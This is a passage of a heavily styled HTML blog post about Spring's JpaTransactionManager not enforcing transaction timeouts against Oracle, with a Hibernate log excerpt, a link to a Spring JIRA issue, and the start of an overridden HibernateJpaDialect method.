font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> deadline of entityManager</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">(</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">org</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">.</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">hibernate</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">.</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">ejb</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">.</span><span class="typ" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #2b91af; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">EntityManagerImpl@350225</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">):</span><span class="typ" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #2b91af; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">Tue</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> </span><span class="typ" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #2b91af; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">Sep</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> </span><span class="lit" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: maroon; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">06</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> </span><span class="lit" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: maroon; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">15</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">:</span><span class="lit" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: maroon; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">05</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">:</span><span class="lit" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: maroon; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">52</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> CST </span><span class="lit" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: maroon; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">2011</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">,</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> and current time</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">:</span><span class="typ" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #2b91af; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">Tue</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> </span><span class="typ" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #2b91af; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">Sep</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> </span><span class="lit" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: maroon; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">06</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> </span><span class="lit" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: maroon; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">15</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">:</span><span class="lit" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: maroon; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">05</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">:</span><span class="lit" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: maroon; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">58</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> CST </span><span class="lit" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: maroon; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">2011</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">
</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">[</span><span class="typ" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #2b91af; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">JpaTransactionManager</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">]</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> </span><span class="typ" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #2b91af; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">Closing</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> JPA </span><span class="typ" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #2b91af; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">EntityManager</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> </span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">[</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">org</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">.</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">hibernate</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">.</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">ejb</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">.</span><span class="typ" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #2b91af; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">EntityManagerImpl@350225</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">]</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> after transaction</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">[</span><span class="typ" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #2b91af; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">EntityManagerFactoryUtils</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">]</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> </span><span class="typ" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #2b91af; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">Closing</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> JPA </span><span class="typ" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #2b91af; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">EntityManager</span></code></span></pre>
<span class="Apple-style-span" style="border-collapse: collapse; font-family: Arial, 'Liberation Sans', 'DejaVu Sans', sans-serif; font-size: 14px; line-height: 18px;">
</span></div>
<div>
The test result is transaction will be blocked for ever if I don't commit/rollbak from Oracle SQL Developer. If I commit/rollback the transaction in Oracle SQL Developer, the transaction in spring will got committed.</div>
<div>
?? Spring transaction timeout setting doesn't work??</div>
<div>
After research some on internet, I found a interesting thread in Spring community <a href="https://jira.springsource.org/browse/SPR-5195">JpaTransactionManager does not support transaction timeouts</a>.I overriden the implementaion of HibernateJpaDialect,</div>
<div>
<br /></div>
<div>
<span class="Apple-style-span" style="border-collapse: collapse; font-family: Arial, 'Liberation Sans', 'DejaVu Sans', sans-serif; font-size: 14px; line-height: 18px;"></span><br />
<pre class="lang-java prettyprint" style="background-attachment: initial; background-clip: initial; background-color: #eeeeee; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-family: Consolas, Menlo, Monaco, 'Lucida Console', 'Liberation Mono', 'DejaVu Sans Mono', 'Bitstream Vera Sans Mono', 'Courier New', monospace, serif; font-size: 14px; margin-bottom: 10px; margin-left: 0px; margin-right: 0px; margin-top: 0px; max-height: 600px; overflow-x: auto; overflow-y: auto; padding-bottom: 5px; padding-left: 5px; padding-right: 5px; padding-top: 5px; vertical-align: baseline; width: auto;"><span class="Apple-style-span" style="border-collapse: collapse; font-family: Arial, 'Liberation Sans', 'DejaVu Sans', sans-serif; font-size: 14px; line-height: 18px;"><code style="background-attachment: initial; background-clip: initial; background-color: #eeeeee; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-family: Consolas, Menlo, Monaco, 'Lucida Console', 'Liberation Mono', 'DejaVu Sans Mono', 'Bitstream Vera Sans Mono', 'Courier New', monospace, serif; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"><span class="lit" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: maroon; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">@Override</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; 